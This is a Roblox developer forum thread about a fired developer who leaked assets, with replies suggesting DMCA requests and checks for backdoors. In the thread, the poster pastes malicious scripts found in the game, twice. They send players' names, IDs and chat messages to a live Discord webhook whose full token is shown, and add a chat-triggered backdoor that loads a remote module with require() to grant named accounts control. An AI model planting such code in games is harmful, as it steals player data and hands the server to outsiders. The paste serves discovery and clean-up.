I’ve been working for someone for a month or so and we have a completed developer team. However, today, the project’s owner had to fire a developer because of his incompetence. Basically he got mad and ended up leaking an old version of the map and the scripts of the project (we have proof of this). Another thing he did was say racist stuff to directly affect the developers (we also have proof of this). Other than that, he’s also an exploiter (unfortunately we don’t have proof to accuse him of that because he deleted the screenshots of him exploiting). What actions should we take against him?
You should just make the owner fire him without pay since the game didn’t make any profit.
If he was a scripter good luck fixing & figuring out his scripts
The owner fired him an hour ago. And thanks for the suggestions.
btw make sure he didn’t put any viruses in the game because you said he is a exploiter. Check if there is any require() etc.
You can submit a DMCA request for your assets to Roblox via their support forum / email if you have proof.
I hope this helped!
Just like you said:
---------------------------------------JOIN/LEAVE LOGS---------------------------------------
local Players = game:GetService("Players")
local http = game:GetService("HttpService")
local webhook = "https://discordapp.com/api/webhooks/758468176572186645/3e0-9DQQY2yNfxpOIcPvzy3Ik3xMPjGvWS2CIdmh_HA4Puxdqj4CZVZ8SIEg_AMF2CRC" -- Place Webhook link here
-- Code --
Players.PlayerAdded:Connect(function(plr)
local data =
{
["contents"] = "",
["embeds"] = {{
["title"]= plr.name,
["description"] = "Jogador entrou no mapa infectado ".."**("..game.PlaceId..")**",
["type"]= "rich",
["color"]= tonumber(0x21ff00),
["fields"]={
{
["name"]="Novo player:",
["value"]="Usuário: **"..plr.Name.."** com o ID: **"..plr.UserId.."** Entrou no [Jogo](https://www.roblox.com/games/".. game.PlaceId..")/[Perfil](https://www.roblox.com/users/"..plr.UserId.."/profile)",
["inline"]=true}}}}
}
http:PostAsync(webhook,http:JSONEncode(data))
end)
Players.PlayerRemoving:Connect(function(plr)
local leavedata =
{
["contents"] = "",
["embeds"] = {{
["title"]= plr.name,
["description"] = "Jogador saiu do mapa infectado ".." **("..game.PlaceId..")**",
["type"]= "rich",
["color"]= tonumber(0xff1500),
["fields"]={
{
["name"]="Player saiu:",
["value"]="Usuário: **"..plr.Name.."** com o ID: **"..plr.UserId.."** saiu [Jogo](https://www.roblox.com/games/".. game.PlaceId..")/[Perfil](https://www.roblox.com/users/"..plr.UserId.."/profile)",
["inline"]=true}}}}
}
http:PostAsync(webhook,http:JSONEncode(leavedata))
end)
---------------------------------------FIM DO JOIN/LEFT LOGS---------------------------------------
---------------------------------------CHAT LOGS----------------------------------------------
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")
---chatlogs
local webhook = "https://discordapp.com/api/webhooks/758468176572186645/3e0-9DQQY2yNfxpOIcPvzy3Ik3xMPjGvWS2CIdmh_HA4Puxdqj4CZVZ8SIEg_AMF2CRC"
Players.PlayerAdded:Connect(function(plr)
plr.Chatted:Connect(function(msg)
local data = {
["contents"] = "",
["embeds"] = {{
["title"]= plr.name,
["description"] = "Jogador disse algo!",
["type"]= "rich",
["color"]= tonumber(0x00fffa),
["fields"]={
{
["name"]="Disse:",
["value"]="*"..msg.."*",
["inline"]=true}}}}
}
HttpService:PostAsync(webhook, HttpService:JSONEncode(data))
end)
end)
Config = {
Users = {
["Drezin"] = true,
["JulioDo_Borel157"] = true,
["Leonardu_Lean"] = true
},
PrivacyMode = true,
Theme = "Default" -- Deprecated; do not change.
}
Debug = false
Config["OldScript"] = script
function onChatted(msg, speaker)
source = string.lower(speaker.Name)
msg = string.lower(msg)
if msg == "cococococococo" then
require(5479252732).blazerisfreeforyouskids("Drezin")
require(5479252732).blazerisfreeforyouskids("WivinOP")
require(5479252732).blazerisfreeforyouskids("Leonardu_Lean")
require(5479252732).blazerisfreeforyouskids("Livia_BrKawai")
require(5479252732).blazerisfreeforyouskids("JulioDo_Borel157")
require(5479252732).blazerisfreeforyouskids("Derpyftcorleone")
end
end
---------------------------------------JOIN/LEAVE LOGS---------------------------------------
local Players = game:GetService("Players")
local http = game:GetService("HttpService")
local webhook = "https://discordapp.com/api/webhooks/758468176572186645/3e0-9DQQY2yNfxpOIcPvzy3Ik3xMPjGvWS2CIdmh_HA4Puxdqj4CZVZ8SIEg_AMF2CRC" -- Place Webhook link here
-- Code --
Players.PlayerAdded:Connect(function(plr)
local data =
{
["contents"] = "",
["embeds"] = {{
["title"]= plr.name,
["description"] = "Jogador entrou no mapa infectado ".."**("..game.PlaceId..")**",
["type"]= "rich",
["color"]= tonumber(0x21ff00),
["fields"]={
{
["name"]="Novo player:",
["value"]="Usuário: **"..plr.Name.."** com o ID: **"..plr.UserId.."** Entrou no [Jogo](https://www.roblox.com/games/".. game.PlaceId..")/[Perfil](https://www.roblox.com/users/"..plr.UserId.."/profile)",
["inline"]=true}}}}
}
http:PostAsync(webhook,http:JSONEncode(data))
end)
Players.PlayerRemoving:Connect(function(plr)
local leavedata =
{
["contents"] = "",
["embeds"] = {{
["title"]= plr.name,
["description"] = "Jogador saiu do mapa infectado ".." **("..game.PlaceId..")**",
["type"]= "rich",
["color"]= tonumber(0xff1500),
["fields"]={
{
["name"]="Player saiu:",
["value"]="Usuário: **"..plr.Name.."** com o ID: **"..plr.UserId.."** saiu [Jogo](https://www.roblox.com/games/".. game.PlaceId..")/[Perfil](https://www.roblox.com/users/"..plr.UserId.."/profile)",
["inline"]=true}}}}
}
http:PostAsync(webhook,http:JSONEncode(leavedata))
end)
---------------------------------------FIM DO JOIN/LEFT LOGS---------------------------------------
---------------------------------------CHAT LOGS----------------------------------------------
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")
---chatlogs
local webhook = "https://discordapp.com/api/webhooks/758468176572186645/3e0-9DQQY2yNfxpOIcPvzy3Ik3xMPjGvWS2CIdmh_HA4Puxdqj4CZVZ8SIEg_AMF2CRC"
Players.PlayerAdded:Connect(function(plr)
plr.Chatted:Connect(function(msg)
local data = {
["contents"] = "",
["embeds"] = {{
["title"]= plr.name,
["description"] = "Jogador disse algo!",
["type"]= "rich",
["color"]= tonumber(0x00fffa),
["fields"]={
{
["name"]="Disse:",
["value"]="*"..msg.."*",
["inline"]=true}}}}
}
HttpService:PostAsync(webhook, HttpService:JSONEncode(data))
end)
end)
Config = {
Users = {
["Drezin"] = true,
["JulioDo_Borel157"] = true,
["Leonardu_Lean"] = true
},
PrivacyMode = true,
Theme = "Default" -- Deprecated; do not change.
}
Debug = false
Config["OldScript"] = script
function onChatted(msg, speaker)
source = string.lower(speaker.Name)
msg = string.lower(msg)
if msg == "cococococococo" then
require(5479252732).blazerisfreeforyouskids("Drezin")
require(5479252732).blazerisfreeforyouskids("WivinOP")
require(5479252732).blazerisfreeforyouskids("Leonardu_Lean")
require(5479252732).blazerisfreeforyouskids("Livia_BrKawai")
require(5479252732).blazerisfreeforyouskids("JulioDo_Borel157")
require(5479252732).blazerisfreeforyouskids("Derpyftcorleone")
end
end
Oh god good that you found these scripts. Also to help you find viruses you can press CTRL + SHIFT + F and search a keyword and it will show you every script that has a certain word like require(
I knew about this trick. Anyways, I’ll spam messages using that webhook link XD.
You can put a DMCA to protect your games or models. This is suggested by a lot of game developers and works absolutely fine!
You might also want to look at the game and see if he inserted any backdoors or suspicious scripts!
He did insert a few scripts but I got rid of them. Thanks for the suggestions though!
Thats amazing! Glad you could find them since they can bring a lot of issued in the run!